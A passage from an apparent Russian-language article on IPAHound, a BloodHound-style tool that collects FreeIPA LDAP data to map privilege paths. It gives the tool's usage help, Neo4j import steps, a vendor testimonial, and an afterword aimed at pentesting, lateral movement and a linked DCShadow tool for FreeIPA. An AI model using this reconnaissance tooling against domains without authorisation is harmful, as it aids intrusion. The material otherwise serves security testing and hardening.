CREATE CONSTRAINT FOR (n:IPAGroup) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAComputer) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAService) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAPermission) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPACertificateTemplate) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPACA) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:Base) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPARole) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPASELinux) REQUIRE n.neo4jImportId IS UNIQUE;
Данные загружаются с помощью команды CALL apoc.import.json("/path/to/file.json");
Параметры коллектора
usage: IPAHound [-h] [-d] [-s SERVER] [-b BASE_DN] [-u USER] [-p PASSWORD] [-k]
[--save-all-hbac] [-a FILE] [-o FILE] [--output-raw FILE]
[--input-raw FILE]
IPA BloodHound Сollector
options:
-h, --help show this help message and exit
-d, --debug Enable debug output
LDAP connection parameters:
-s SERVER, --ldap-server SERVER
IP address or DNS name of LDAP server
-b BASE_DN, --ldap-base-dn BASE_DN
Base DN for LDAP dump (optional, defaults to auto-detection)
Authentication options:
-u USER, --ldap-user USER
Username for LDAP (you can use DN format: uid=admin,cn=users,cn=accounts,dc=ipa,dc=local)
-p PASSWORD, --ldap-password PASSWORD
Password for LDAP authentication
-k, --kerberos Use Kerberos authentication instead of username/password
Output format options:
--save-all-hbac Will draw all HBAC services in a graph (by default sudo and SSH)
-a FILE, --apoc-output FILE
Output JSON for APOC neo4j plugin (recommended)
-o FILE, --output FILE
Output JSON for BloodHound loader
Advanced options (debugging):
--output-raw FILE Output RAW JSON before processing (useful for debug-ging)
--input-raw FILE Process existing RAW JSON instead of performing LDAP dump
От первых пользователей
Коллеги из «Группы Астра», разрабатывающие службу каталога ALD Pro на базе FreeIPA, поделились впечатлениями использования рабочего прототипа IPAHound. Они давно работают с этим стеком технологий, уделяя значительное внимание безопасности. Сегодня ALD Pro – единственная отечественная служба каталога, сертифицированная ФСТЭК России по 2-му уровню доверия. Она доступна независимым исследователям по кибербезопасности через программу BugBounty. 
Это не первый положительный опыт работы с коллегами из PT: ранее мы уже разработали совместно с командой MaxPatrol интеграцию с их SIEM-системой, что позволило своевременно выявлять атаки на Linux-домены. Продукт IPAHound является еще одним крайне полезным инструментом для повышения безопасности импортозамещенной инфраструктуры.
В качестве основы для своей службы каталога мы действительно выбрали FreeIPA, т. к. она создавалась специально для Linux, поэтому имеет тесную интеграцию с ее нативными технологиями безопасности, например, PAM-стеком, утилитой SUDO, пакетом программ OpenSSH, картами монтирования AutoFS и др. Однако важно не только правильно выбрать компоненты, но и правильно их использовать, поэтому мы уделяем особое внимание исследованиям безопасности, которые проводим как своими силами, так и с привлечением независимых исследователей. Мы уже получили более десяти отчетов, некоторые из которых помогли нам по-новому взглянуть на безопасность во FreeIPA, за что отдельный респект их авторам, но это тема отдельной статьи.
Возвращаясь к IPAHound, в первую очередь я хотел бы отметить крайне высокий уровень профессионализма разработчиков этого продукта в вопросах безопасности FreeIPA. Это тот редкий случай, когда нам удалось найти единомышленников, кто понимает даже самые сложные технические детали реализации FreeIPA на таком же уровне, как и мы сами, что усиливается огромным опытом пентестов. Неудивительно, что при таком уровне понимания проблемы у коллег получилось крайне удачно реализовать аналог BloodHound для FreeIPA. 
Служба каталога ALD Pro чуть больше, чем просто FreeIPA, но нам удалось проверить все типовые сценарии использования инструмента IPAHound и подтвердить его удобство для поиска ошибок в конфигурации: password spraying, захват службы, повышение привилегий через группу — с помощью IPAHound все эти ошибки искать становится намного проще! Для исследования настроек службы каталога безусловно можно обойтись банальным ldapsearch, но какой-нибудь Apache Directory Studio дает целый ряд преимуществ и существенно повышает эффективность работы инженера. Точно так же IPAHound может повысить эффективность работы пентестера, т. к. поможет намного проще и быстрее находить небезопасные связи.
В самом начале статьи коллеги уже отметили, что при разработке продукта они применяли подход пентеста, когда исследователю доступна только непривилегированная учетная запись рядового пользователя, что позволяет использовать инструмент в более широком диапазоне сценариев, но создает ряд ограничений для поиска уязвимостей. Нам кажется, что в дальнейшем будет полезно добавить режим аудита, когда IPAHound будет предоставляться учетная запись администратора с полными правами для расширения функциональных возможностей. Но даже в режиме пентеста инструмент уже очень полезен, и мы точно будем использовать его в своей работе.
Вадим Фещенко, старший инженер «Группы Астра» из команды ALD Pro
Послесловие
Мы надеемся, что эта статья поможет вам во время пентеста FreeIPA, перемещения внутри периметра и поиска опасных прав в инфраструктуре.
Можете посмотреть еще один инструмент, который мы разработали для реализации DCShadow в FreeIPA: https://github.com/Im10n/IPASync.
IPAHound
Репозиторий коллектора: https://github.com/IPAHound/IPAHound.
Репозиторий GUI: https://github.com/IPAHound/IPAHound-GUI.-Если у вас появятся предложения по улучшению или изменению инструмента, добро пожаловать в issue на GitHub или в личные сообщения — @Im10n-Источник
 
Loading...
Error